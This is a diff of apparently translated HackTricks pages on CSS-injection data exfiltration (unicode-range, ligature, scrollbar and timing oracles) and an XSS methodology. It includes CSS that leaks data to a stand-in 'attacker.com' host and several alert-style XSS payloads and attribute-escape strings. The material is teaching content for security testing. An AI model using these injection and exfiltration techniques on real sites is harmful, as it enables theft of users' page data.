Puedes revisar un [**exploit using this technique for a CTF here**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
|
||||
|
||||
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
|
||||
Puedes especificar **fuentes externas para valores unicode específicos** que solo serán **descargadas si esos valores unicode están presentes** en la página. Por ejemplo:
|
||||
Puedes especificar **external fonts for specific unicode values** que solo serán **gathered if those unicode values are present** en la página. Por ejemplo:
|
||||
```html
|
||||
<style>
|
||||
@font-face {
|
||||
@ -242,25 +242,25 @@ font-family: poc;
|
||||
<p id="sensitive-information">AB</p>
|
||||
htm
|
||||
```
|
||||
Cuando accedes a esta página, Chrome y Firefox solicitan "?A" y "?B" porque el nodo de texto de sensitive-information contiene los caracteres "A" y "B". Pero Chrome y Firefox no solicitan "?C" porque no contiene "C". Esto significa que hemos podido leer "A" y "B".
|
||||
When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".
|
||||
|
||||
### Text node exfiltration (I): ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
### Exfiltración de nodos de texto (I): ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
|
||||
**Referencia:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
|
||||
|
||||
La técnica descrita consiste en extraer texto de un nodo explotando font ligatures y monitorizando cambios en el ancho. El proceso implica varios pasos:
|
||||
La técnica descrita consiste en extraer texto de un nodo explotando las ligaduras de fuente y monitoreando cambios en el ancho. El proceso implica varios pasos:
|
||||
|
||||
1. **Creation of Custom Fonts**:
|
||||
1. **Creación de fuentes personalizadas**:
|
||||
|
||||
- Se crean fuentes SVG con glifos que tienen un atributo `horiz-adv-x`, que fija un ancho grande para un glifo que representa una secuencia de dos caracteres.
|
||||
- Ejemplo de glifo SVG: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, donde "XY" denota una secuencia de dos caracteres.
|
||||
- Se crean SVG fonts con glyphs que tienen un atributo `horiz-adv-x`, que establece un ancho grande para un glifo que representa una secuencia de dos caracteres.
|
||||
- Ejemplo de glyph SVG: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, donde "XY" denota una secuencia de dos caracteres.
|
||||
- Estas fuentes se convierten luego a formato woff usando fontforge.
|
||||
|
||||
2. **Detection of Width Changes**:
|
||||
2. **Detección de cambios de ancho**:
|
||||
|
||||
- Se utiliza CSS para asegurar que el texto no se divida en varias líneas (`white-space: nowrap`) y para personalizar el estilo de la scrollbar.
|
||||
- La aparición de una barra de desplazamiento horizontal, estilizada de forma distintiva, actúa como un indicador (oráculo) de que una ligature específica, y por tanto una secuencia de caracteres concreta, está presente en el texto.
|
||||
- El CSS involucrado:
|
||||
- Se usa CSS para evitar que el texto haga wrap (`white-space: nowrap`) y para personalizar el estilo de la scrollbar.
|
||||
- La aparición de una scrollbar horizontal, estilizada de forma distinta, actúa como un indicador (oráculo) de que una ligadura específica, y por tanto una secuencia de caracteres concreta, está presente en el texto.
|
||||
- El CSS implicado:
|
||||
```css
|
||||
body {
|
||||
white-space: nowrap;
|
||||
@ -273,30 +273,30 @@ background: url(http://attacker.com/?leak);
|
||||
}
|
||||
```
|
||||
|
||||
3. **Exploit Process**:
|
||||
3. **Proceso de exploit**:
|
||||
|
||||
- **Step 1**: Se crean fuentes para pares de caracteres con un ancho sustancial.
|
||||
- **Step 2**: Se emplea el truco basado en la scrollbar para detectar cuando se renderiza el glifo de gran ancho (ligature para un par de caracteres), indicando la presencia de la secuencia de caracteres.
|
||||
- **Step 3**: Al detectar una ligature, se generan nuevos glifos que representan secuencias de tres caracteres, incorporando el par detectado y añadiendo un carácter precedente o sucesivo.
|
||||
- **Step 4**: Se detecta la ligature de tres caracteres.
|
||||
- **Step 5**: El proceso se repite, revelando progresivamente todo el texto.
|
||||
- **Paso 1**: Se crean fuentes para pares de caracteres con ancho sustancial.
|
||||
- **Paso 2**: Se emplea el truco basado en la scrollbar para detectar cuándo se renderiza el glifo de gran ancho (ligadura para un par de caracteres), indicando la presencia de la secuencia de caracteres.
|
||||
- **Paso 3**: Al detectar una ligadura, se generan nuevos glyphs que representan secuencias de tres caracteres, incorporando el par detectado y añadiendo un carácter precedente o siguiente.
|
||||
- **Paso 4**: Se lleva a cabo la detección de la ligadura de tres caracteres.
|
||||
- **Paso 5**: El proceso se repite, revelando progresivamente todo el texto.
|
||||
|
||||
4. **Optimization**:
|
||||
4. **Optimización**:
|
||||
- El método de inicialización actual usando `<meta refresh=...` no es óptimo.
|
||||
- Un enfoque más eficiente podría implicar el truco de `@import` en CSS, mejorando el rendimiento del exploit.
|
||||
- Un enfoque más eficiente podría involucrar el truco de `@import` en CSS, mejorando el rendimiento del exploit.
|
||||
|
||||
### Text node exfiltration (II): leaking the charset with a default font (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### Exfiltración de nodos de texto (II): leaking the charset with a default font (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Referencia:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
|
||||
|
||||
Este truco se publicó en este [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). El charset usado en un nodo de texto puede ser leaked **usando las fuentes por defecto** instaladas en el navegador: no se necesitan fuentes externas ni personalizadas.
|
||||
This trick was released in this [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). The charset used in a text node can be leaked **using the default fonts** installed in the browser: no external -or custom- fonts are needed.
|
||||
|
||||
El concepto gira en torno a utilizar una animación para expandir incrementalmente el ancho de un `div`, permitiendo que un carácter a la vez pase de la parte 'suffix' del texto a la parte 'prefix'. Este proceso divide efectivamente el texto en dos secciones:
|
||||
El concepto gira en torno a utilizar una animación para incrementar progresivamente el ancho de un `div`, permitiendo que un carácter a la vez pase de la parte 'suffix' del texto a la parte 'prefix'. Este proceso efectivamente divide el texto en dos secciones:
|
||||
|
||||
1. **Prefix**: La línea inicial.
|
||||
2. **Suffix**: La(s) línea(s) posterior(es).
|
||||
|
||||
Las etapas de la transición de los caracteres aparecerían así:
|
||||
Las etapas de transición de los caracteres aparecerían como sigue:
|
||||
|
||||
**C**\
|
||||
ADB
|
||||
@ -309,15 +309,15 @@ B
|
||||
|
||||
**CADB**
|
||||
|
||||
Durante esta transición se emplea el **unicode-range trick** para identificar cada nuevo carácter a medida que se incorpora al prefix. Esto se logra cambiando la fuente a Comic Sans, que es notablemente más alta que la fuente por defecto, provocando consecuentemente una barra de desplazamiento vertical. La aparición de esta barra de desplazamiento revela indirectamente la presencia de un nuevo carácter en el prefix.
|
||||
Durante esta transición se emplea el **unicode-range trick** para identificar cada nuevo carácter a medida que se une al prefix. Esto se logra cambiando la fuente a Comic Sans, que es notablemente más alta que la fuente por defecto, desencadenando así una scrollbar vertical. La aparición de esta scrollbar revela indirectamente la presencia de un nuevo carácter en el prefix.
|
||||
|
||||
Aunque este método permite detectar caracteres únicos a medida que aparecen, no especifica cuál carácter está repetido, solo que ha ocurrido una repetición.
|
||||
Aunque este método permite detectar caracteres únicos a medida que aparecen, no especifica qué carácter se repite, solo que ha ocurrido una repetición.
|
||||
|
||||
> [!TIP]
|
||||
> Básicamente, el **unicode-range se usa para detectar un carácter**, pero como no queremos cargar una fuente externa, necesitamos encontrar otra forma.\
|
||||
> Cuando el **carácter** es **encontrado**, se le **asigna** la preinstalada **Comic Sans font**, lo que **aumenta** el tamaño del carácter y **activa una barra de desplazamiento** que **leak el carácter encontrado**.
|
||||
> Básicamente, el **unicode-range is used to detect a char**, pero como no queremos cargar una fuente externa, necesitamos encontrar otra forma.\
|
||||
> Cuando el **char** es **found**, se le **asigna** la fuente preinstalada **Comic Sans**, lo que **hace** que el **char** sea **más grande** y **dispare una scrollbar** que va a **leak the found char**.
|
||||
|
||||
Revisa el código extraído del PoC:
|
||||
Check the code extracted from the PoC:
|
||||
```css
|
||||
/* comic sans is high (lol) and causes a vertical overflow */
|
||||
@font-face {
|
||||
@ -742,15 +742,15 @@ div::-webkit-scrollbar:vertical {
|
||||
background: blue var(--leak);
|
||||
}
|
||||
```
|
||||
### Text node exfiltration (III): leaking the charset con una fuente por defecto ocultando elementos (no requiere recursos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Referencia:** Esto se menciona como [una solución no exitosa en este writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
**Referencia:** Esto se menciona como [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
Este caso es muy similar al anterior; sin embargo, en este caso el objetivo de **hacer que caracteres específicos sean más grandes que otros es ocultar algo** como un botón para que el bot no lo presione o una imagen que no se cargue. Así podríamos medir la acción (o la falta de acción) y saber si un carácter específico está presente en el texto.
|
||||
Este caso es muy similar al anterior; sin embargo, aquí el objetivo de hacer que **caracteres específicos sean más grandes que otros para ocultar algo** —como un botón que no sea pulsado por el bot o una imagen que no se cargue—. Así, podríamos medir la acción (o la falta de la misma) y saber si un carácter específico está presente en el texto.
|
||||
|
||||
### Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Referencia:** Esto se menciona como [una solución no exitosa en este writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
**Referencia:** Esto se menciona como [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
En este caso, podríamos intentar leak si un carácter está en el texto cargando una fuente falsa desde el mismo origen:
|
||||
```css
|
||||
@ -760,15 +760,15 @@ src: url(/static/bootstrap.min.css?q=1);
|
||||
unicode-range: U+0041;
|
||||
}
|
||||
```
|
||||
Si hay una coincidencia, la **fuente se cargará desde `/static/bootstrap.min.css?q=1`**. Aunque no se cargará correctamente, el **navegador debería cachearla**, y aun si no hay caché, existe un mecanismo **304 not modified**, por lo que la **respuesta debería ser más rápida** que otras cosas.
|
||||
If there is a match, the **font will be loaded from `/static/bootstrap.min.css?q=1`**. Although it won’t load successfully, the **browser should cache it**, and even if there is no cache, there is a **304 not modified** mechanism, so the **response should be faster** than other things.
|
||||
|
||||
Sin embargo, si la diferencia de tiempo entre la respuesta caché y la no caché no es lo suficientemente grande, esto no será útil. Por ejemplo, el autor mencionó: Después de probarlo, encontré que el primer problema es que la velocidad no es muy diferente, y el segundo problema es que el bot usa la bandera `disk-cache-size=1`, lo cual es bastante cuidadoso.
|
||||
However, if the time difference of the cached response from the non-cached one isn't big enough, this won't be useful. For example, the author mentioned: However, after testing, I found that the first problem is that the speed is not much different, and the second problem is that the bot uses the `disk-cache-size=1` flag, which is really thoughtful.
|
||||
|
||||
### Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Referencia:** Esto se menciona como [una solución no exitosa en este writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
**Referencia:** Esto se menciona como [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
En este caso puedes indicar **CSS para cargar cientos de fuentes falsas** desde el mismo origen cuando ocurra una coincidencia. De esta forma puedes **medir el tiempo** que tarda y averiguar si un carácter aparece o no con algo como:
|
||||
En este caso puedes indicar **CSS para cargar cientos de fuentes falsas** desde el mismo origen cuando ocurre una coincidencia. De esta manera puedes **medir el tiempo** que toma y averiguar si aparece un char o no con algo como:
|
||||
```css
|
||||
@font-face {
|
||||
font-family: "A1";
|
||||
@ -783,7 +783,7 @@ browser.get(url)
|
||||
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
|
||||
time.sleep(30)
|
||||
```
|
||||
Por lo tanto, si la fuente no coincide, se espera que el tiempo de respuesta al visitar el bot sea de aproximadamente 30 segundos. Sin embargo, si hay una coincidencia de fuente, se enviarán múltiples solicitudes para recuperar la fuente, provocando una actividad continua en la red. Como resultado, tardará más en cumplirse la condición de parada y en recibirse la respuesta. Por eso, el tiempo de respuesta puede usarse como indicador para determinar si hay una coincidencia de fuente.
|
||||
Entonces, si la fuente no coincide, el tiempo de respuesta al visitar el bot será aproximadamente de 30 segundos. Sin embargo, si la fuente coincide, se enviarán múltiples solicitudes para recuperarla, provocando actividad continua en la red. Como resultado, tardará más en cumplirse la condición de parada y en recibirse la respuesta. Por lo tanto, el tiempo de respuesta puede utilizarse como indicador para determinar si hay una coincidencia de fuente.
|
||||
|
||||
## Referencias
|
||||
|
||||
|
@ -2,65 +2,65 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Methodology
|
||||
## Metodología
|
||||
|
||||
1. Comprueba si **algún valor que controlas** (_parameters_, _path_, _headers_?, _cookies_?) está siendo **reflejado** en el HTML o **usado** por **JS**.
|
||||
1. Comprueba si **algún valor que controlas** (_parameters_, _path_, _headers_?, _cookies_?) se está **reflejando** en el HTML o **si es usado** por código **JS**.
|
||||
2. **Encuentra el contexto** donde se refleja/usa.
|
||||
3. Si está **reflejado**
|
||||
1. Comprueba **qué símbolos puedes usar** y, dependiendo de eso, prepara el payload:
|
||||
1. En **raw HTML**:
|
||||
1. En **HTML sin procesar**:
|
||||
1. ¿Puedes crear nuevas etiquetas HTML?
|
||||
2. ¿Puedes usar eventos o atributos que soporten el protocolo `javascript:`?
|
||||
3. ¿Puedes bypassar protecciones?
|
||||
3. ¿Puedes eludir protecciones?
|
||||
4. ¿El contenido HTML está siendo interpretado por algún engine JS del lado cliente (_AngularJS_, _VueJS_, _Mavo_...)? podrías abusar de un [**Client Side Template Injection**](../client-side-template-injection-csti.md).
|
||||
5. Si no puedes crear etiquetas HTML que ejecuten código JS, ¿podrías abusar de un [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
|
||||
2. Dentro de una **etiqueta HTML**:
|
||||
1. ¿Puedes salir al contexto raw HTML?
|
||||
1. ¿Puedes salir al contexto de HTML sin procesar?
|
||||
2. ¿Puedes crear nuevos eventos/atributos para ejecutar código JS?
|
||||
3. ¿El atributo donde estás atrapado soporta ejecución JS?
|
||||
4. ¿Puedes bypassar protecciones?
|
||||
3. ¿El atributo en el que estás atrapado soporta ejecución de JS?
|
||||
4. ¿Puedes eludir protecciones?
|
||||
3. Dentro de **código JavaScript**:
|
||||
1. ¿Puedes escapar la etiqueta `<script>`?
|
||||
2. ¿Puedes escapar la cadena y ejecutar otro código JS diferente?
|
||||
2. ¿Puedes escapar la cadena y ejecutar código JS distinto?
|
||||
3. ¿Tu input está en template literals \`\`?
|
||||
4. ¿Puedes bypassar protecciones?
|
||||
4. Función de Javascript siendo **ejecutada**
|
||||
1. Puedes indicar el nombre de la función a ejecutar. p.ej.: `?callback=alert(1)`
|
||||
4. Si está **usado**:
|
||||
1. Podrías explotar un **DOM XSS**, presta atención a cómo tu input es controlado y si tu **input controlado es usado por algún sink.**
|
||||
4. ¿Puedes eludir protecciones?
|
||||
4. **Función Javascript** que se está **ejecutando**
|
||||
1. Puedes indicar el nombre de la función a ejecutar. e.g.: `?callback=alert(1)`
|
||||
4. Si es **usado**:
|
||||
1. Podrías explotar un **DOM XSS**, presta atención a cómo se controla tu input y si tu input controlado es usado por algún sink.
|
||||
|
||||
Cuando trabajes en un XSS complejo puede interesarte leer sobre:
|
||||
Cuando trabajes en un XSS complejo puede interesarte conocer sobre:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
debugging-client-side-js.md
|
||||
{{#endref}}
|
||||
|
||||
## Reflected values
|
||||
## Valores reflejados
|
||||
|
||||
Para explotar con éxito un XSS lo primero que necesitas encontrar es un **valor controlado por ti que esté siendo reflejado** en la página web.
|
||||
Para explotar con éxito un XSS lo primero que necesitas encontrar es un **valor controlado por ti que se esté reflejando** en la página web.
|
||||
|
||||
- **Intermediately reflected**: Si encuentras que el valor de un parámetro o incluso del path se refleja en la página web podrías explotar un **Reflected XSS**.
|
||||
- **Stored and reflected**: Si encuentras que un valor que controlas se guarda en el servidor y se refleja cada vez que accedes a una página podrías explotar un **Stored XSS**.
|
||||
- **Accessed via JS**: Si encuentras que un valor controlado por ti es accedido usando JS podrías explotar un **DOM XSS**.
|
||||
- **Reflejado intermedio**: Si encuentras que el valor de un parámetro o incluso del path se refleja en la página web podrías explotar un **Reflected XSS**.
|
||||
- **Almacenado y reflejado**: Si encuentras que un valor controlado por ti se guarda en el servidor y se refleja cada vez que accedes a una página podrías explotar un **Stored XSS**.
|
||||
- **Accedido vía JS**: Si encuentras que un valor controlado por ti es accedido usando JS podrías explotar un **DOM XSS**.
|
||||
|
||||
## Contexts
|
||||
## Contextos
|
||||
|
||||
Cuando intentas explotar un XSS lo primero que necesitas saber es **dónde se refleja tu input**. Dependiendo del contexto, podrás ejecutar código JS arbitrario de distintas maneras.
|
||||
Al intentar explotar un XSS lo primero que necesitas saber es **dónde se refleja tu input**. Dependiendo del contexto, podrás ejecutar código JS arbitrario de distintas maneras.
|
||||
|
||||
### Raw HTML
|
||||
### HTML sin procesar
|
||||
|
||||
Si tu input se **refleja en el HTML raw** de la página necesitarás abusar de alguna **etiqueta HTML** para ejecutar código JS: `<img , <iframe , <svg , <script` ... estas son solo algunas de las muchas etiquetas HTML que podrías usar.\
|
||||
Además, ten en cuenta [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
Si tu input se **refleja en el HTML sin procesar** de la página necesitarás abusar de alguna **etiqueta HTML** para ejecutar código JS: `<img , <iframe , <svg , <script` ... estas son solo algunas de las muchas etiquetas HTML posibles que podrías usar.\
|
||||
También, ten en cuenta [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
|
||||
### Inside HTML tags attribute
|
||||
### Dentro del atributo de una etiqueta HTML
|
||||
|
||||
Si tu input se refleja dentro del valor del atributo de una etiqueta podrías intentar:
|
||||
Si tu input se refleja dentro del valor de un atributo de una etiqueta podrías intentar:
|
||||
|
||||
1. **Escapar del atributo y de la etiqueta** (entonces estarás en raw HTML) y crear una nueva etiqueta HTML para abusar: `"><img [...]`
|
||||
1. **Escapar del atributo y de la etiqueta** (entonces estarás en el HTML sin procesar) y crear una nueva etiqueta HTML para abusar: `"><img [...]`
|
||||
2. Si **puedes escapar del atributo pero no de la etiqueta** (`>` está codificado o eliminado), dependiendo de la etiqueta podrías **crear un evento** que ejecute código JS: `" autofocus onfocus=alert(1) x="`
|
||||
3. Si **no puedes escapar del atributo** (`"` está siendo codificado o eliminado), entonces dependiendo de **qué atributo** refleja tu valor **si controlas todo el valor o solo una parte** podrás abusar de él. Por **ejemplo**, si controlas un evento como `onclick=` podrás hacer que ejecute código arbitrario cuando se haga click. Otro **ejemplo** interesante es el atributo `href`, donde puedes usar el protocolo `javascript:` para ejecutar código arbitrario: **`href="javascript:alert(1)"`**
|
||||
4. Si tu input se refleja dentro de “etiquetas no explotables” podrías intentar el truco del **`accesskey`** para abusar de la vuln (necesitarás algo de social engineering para explotarlo): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
3. Si **no puedes escapar del atributo** (`"` está siendo codificado o eliminado), entonces dependiendo de **qué atributo** se refleja tu valor y si controlas todo el valor o solo una parte podrás abusar de él. Por **ejemplo**, si controlas un evento como `onclick=` podrás hacer que ejecute código arbitrario cuando se haga click. Otro **ejemplo** interesante es el atributo `href`, donde puedes usar el protocolo `javascript:` para ejecutar código arbitrario: **`href="javascript:alert(1)"`**
|
||||
4. Si tu input se refleja dentro de "**etiquetas no explotables**" podrías probar el truco de **`accesskey`** para abusar de la vuln (necesitarás algún tipo de social engineering para explotarlo): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Weird example of Angular executing XSS if you controls a class name:
|
||||
```html
|
||||
@ -70,14 +70,14 @@ Weird example of Angular executing XSS if you controls a class name:
|
||||
```
|
||||
### Dentro del código JavaScript
|
||||
|
||||
En este caso tu input se refleja entre **`<script> [...] </script>`** tags de una página HTML, dentro de un archivo `.js` o dentro de un atributo que usa el protocolo **`javascript:`**:
|
||||
En este caso tu entrada se refleja entre **`<script> [...] </script>`** tags de una página HTML, dentro de un archivo `.js` o dentro de un atributo que usa el protocolo **`javascript:`**:
|
||||
|
||||
- Si se refleja entre **`<script> [...] </script>`** tags, incluso si tu entrada está dentro de cualquier tipo de comillas, puedes intentar inyectar `</script>` y escapar de este contexto. Esto funciona porque el **navegador primero analizará las etiquetas HTML** y luego el contenido, por lo tanto, no detectará que tu etiqueta `</script>` inyectada está dentro del código HTML.
|
||||
- Si se refleja **dentro de una cadena JS** y el truco anterior no funciona necesitarás **salir** de la cadena, **ejecutar** tu código y **reconstruir** el código JS (si hay algún error, no se ejecutará:
|
||||
- Si se refleja entre **`<script> [...] </script>`** tags, incluso si tu entrada está dentro de cualquier tipo de comillas, puedes intentar inyectar `</script>` y escapar de este contexto. Esto funciona porque el **navegador primero analizará las etiquetas HTML** y luego el contenido, por lo tanto, no notará que tu etiqueta `</script>` inyectada está dentro del código HTML.
|
||||
- Si se refleja **dentro de una JS string** y el truco anterior no funciona necesitarías **salir** de la cadena, **ejecutar** tu código y **reconstruir** el código JS (si hay algún error, no se ejecutará:
|
||||
- `'-alert(1)-'`
|
||||
- `';-alert(1)//`
|
||||
- `\';alert(1)//`
|
||||
- Si se refleja dentro de template literals puedes **incrustar expresiones JS** usando la sintaxis `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- Si se refleja dentro de template literals puedes **embed JS expressions** usando la sintaxis `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- **Unicode encode** works to write **valid javascript code**:
|
||||
```javascript
|
||||
alert(1)
|
||||
@ -86,25 +86,25 @@ alert(1)
|
||||
```
|
||||
#### Javascript Hoisting
|
||||
|
||||
Javascript Hoisting hace referencia a la oportunidad de **declarar funciones, variables o clases después de que se usan, para poder explotar escenarios donde una XSS está usando variables o funciones no declaradas.**\
|
||||
**Check the following page for more info:**
|
||||
Javascript Hoisting hace referencia a la posibilidad de **declarar funciones, variables o clases después de que se usan, de modo que puedes abusar de escenarios donde un XSS está usando variables o funciones no declaradas.**\
|
||||
**Consulta la siguiente página para más información:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
js-hoisting.md
|
||||
{{#endref}}
|
||||
|
||||
### Javascript Function
|
||||
### Función de Javascript
|
||||
|
||||
Varias páginas web tienen endpoints que **aceptan como parámetro el nombre de la función a ejecutar**. Un ejemplo común que se ve en la práctica es algo como: `?callback=callbackFunc`.
|
||||
Varias páginas web tienen endpoints que **aceptan como parámetro el nombre de la función a ejecutar**. Un ejemplo común en entornos reales es algo como: `?callback=callbackFunc`.
|
||||
|
||||
Una buena forma de averiguar si algo dado directamente por el usuario está intentando ejecutarse es **modificar el valor del parámetro** (por ejemplo a 'Vulnerable') y buscar en la consola errores como:
|
||||
Una buena forma de detectar si algo que viene directamente del usuario está intentando ejecutarse es **modificar el valor del parámetro** (por ejemplo a 'Vulnerable') y mirar en la consola errores como:
|
||||
|
||||
.png>)
|
||||
|
||||
En caso de que sea vulnerable, podrías ser capaz de **disparar un alert** simplemente enviando el valor: **`?callback=alert(1)`**. Sin embargo, es muy común que estos endpoints **validen el contenido** para permitir solo letras, números, puntos y guiones bajos (**`[\w\._]`**).
|
||||
Si es vulnerable, podrías ser capaz de **disparar un alert** simplemente enviando el valor: **`?callback=alert(1)`**. Sin embargo, es muy común que estos endpoints **validen el contenido** para permitir solo letras, números, puntos y guiones bajos (**`[\w\._]`**).
|
||||
|
||||
No obstante, aun con esa limitación sigue siendo posible realizar algunas acciones. Esto se debe a que puedes usar esos caracteres válidos para **acceder a cualquier elemento en el DOM**:
|
||||
Sin embargo, incluso con esa limitación todavía es posible realizar algunas acciones. Esto se debe a que puedes usar esos caracteres válidos para **acceder a cualquier elemento del DOM**:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -116,11 +116,11 @@ nextElementSibiling
|
||||
lastElementSibiling
|
||||
parentElement
|
||||
```
|
||||
También puedes intentar **ejecutar funciones Javascript** directamente: `obj.sales.delOrders`.
|
||||
También puedes intentar invocar **Javascript functions** directamente: `obj.sales.delOrders`.
|
||||
|
||||
However, usually the endpoints executing the indicated function are endpoints without much interesting DOM, **other pages in the same origin** will have a **more interesting DOM** to perform more actions.
|
||||
Sin embargo, normalmente los endpoints que ejecutan la función indicada son endpoints sin un DOM muy interesante; otras páginas en la misma origin tendrán un DOM más interesante para realizar más acciones.
|
||||
|
||||
Therefore, in order to **abuse this vulnerability in a different DOM** the **Same Origin Method Execution (SOME)** exploitation was developed:
|
||||
Por lo tanto, para abusar de esta vulnerabilidad en un DOM diferente se desarrolló la explotación Same Origin Method Execution (SOME):
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -129,7 +129,7 @@ some-same-origin-method-execution.md
|
||||
|
||||
### DOM
|
||||
|
||||
There is **JS code** that is using **unsafely** some **data controlled by an attacker** like `location.href` . An attacker, could abuse this to execute arbitrary JS code.
|
||||
Hay código JS que está usando de forma insegura algunos datos controlados por un atacante, como `location.href`. Un atacante podría abusar de esto para ejecutar código JS arbitrario.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -138,8 +138,8 @@ dom-xss.md
|
||||
|
||||
### **Universal XSS**
|
||||
|
||||
These kind of XSS can be found **anywhere**. They not depend just on the client exploitation of a web application but on **any** **context**. These kind of **arbitrary JavaScript execution** can even be abuse to obtain **RCE**, **read** **arbitrary** **files** in clients and servers, and more.\
|
||||
Some **examples**:
|
||||
Este tipo de XSS se puede encontrar en cualquier lugar. No dependen únicamente de la explotación en el cliente de una aplicación web, sino de cualquier contexto. Este tipo de ejecución arbitraria de JavaScript incluso puede ser abusada para obtener RCE, leer archivos arbitrarios en clientes y servidores, y más.\
|
||||
Algunos **ejemplos**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -151,17 +151,17 @@ server-side-xss-dynamic-pdf.md
|
||||
../../network-services-pentesting/pentesting-web/electron-desktop-apps/
|
||||
{{#endref}}
|
||||
|
||||
## Imagen de WAF bypass encoding
|
||||
## Imagen de codificación para bypass de WAF
|
||||
|
||||
.jpg>)
|
||||
|
||||
## Inyección dentro del HTML crudo
|
||||
## Inyección dentro de HTML crudo
|
||||
|
||||
When your input is reflected **inside the HTML page** or you can escape and inject HTML code in this context the **first** thing you need to do if check if you can abuse `<` to create new tags: Just try to **reflect** that **char** and check if it's being **HTML encoded** or **deleted** of if it is **reflected without changes**. **Only in the last case you will be able to exploit this case**.\
|
||||
For this cases also **keep in mind** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Note: A HTML comment can be closed using `-->` or `--!>`**_
|
||||
Cuando tu input se refleja dentro de la página HTML o puedes escapar e inyectar código HTML en este contexto, lo primero que debes hacer es comprobar si puedes abusar de `<` para crear nuevas etiquetas: simplemente intenta reflejar ese carácter y verifica si está siendo HTML encoded o eliminado, o si se refleja sin cambios. Solo en este último caso podrás explotar esta situación.\
|
||||
Para estos casos también ten en cuenta [**Client Side Template Injection**](../client-side-template-injection-csti.md).\
|
||||
_**Nota: Un comentario HTML puede cerrarse usando `-->` o `--!>`**_
|
||||
|
||||
In this case and if no black/whitelisting is used, you could use payloads like:
|
||||
En este caso, y si no se usa black/whitelisting, podrías usar payloads como:
|
||||
```html
|
||||
<script>
|
||||
alert(1)
|
||||
@ -169,22 +169,22 @@ alert(1)
|
||||
<img src="x" onerror="alert(1)" />
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
Pero, si se está usando un filtrado por lista negra/lista blanca de etiquetas/atributos, necesitarás **hacer fuerza bruta para saber qué etiquetas** puedes crear.\
|
||||
Una vez que hayas **localizado qué etiquetas están permitidas**, tendrás que **hacer fuerza bruta a los atributos/eventos** dentro de las etiquetas válidas encontradas para ver cómo puedes atacar el contexto.
|
||||
Pero, si se está usando black/whitelisting de tags/attributes, tendrás que **brute-force para descubrir qué tags** puedes crear.\
|
||||
Una vez que hayas **localizado qué tags están permitidos**, tendrás que **brute-force atributos/eventos** dentro de los tags válidos encontrados para ver cómo puedes atacar el contexto.
|
||||
|
||||
### Fuerza bruta de etiquetas/eventos
|
||||
### Tags/Events brute-force
|
||||
|
||||
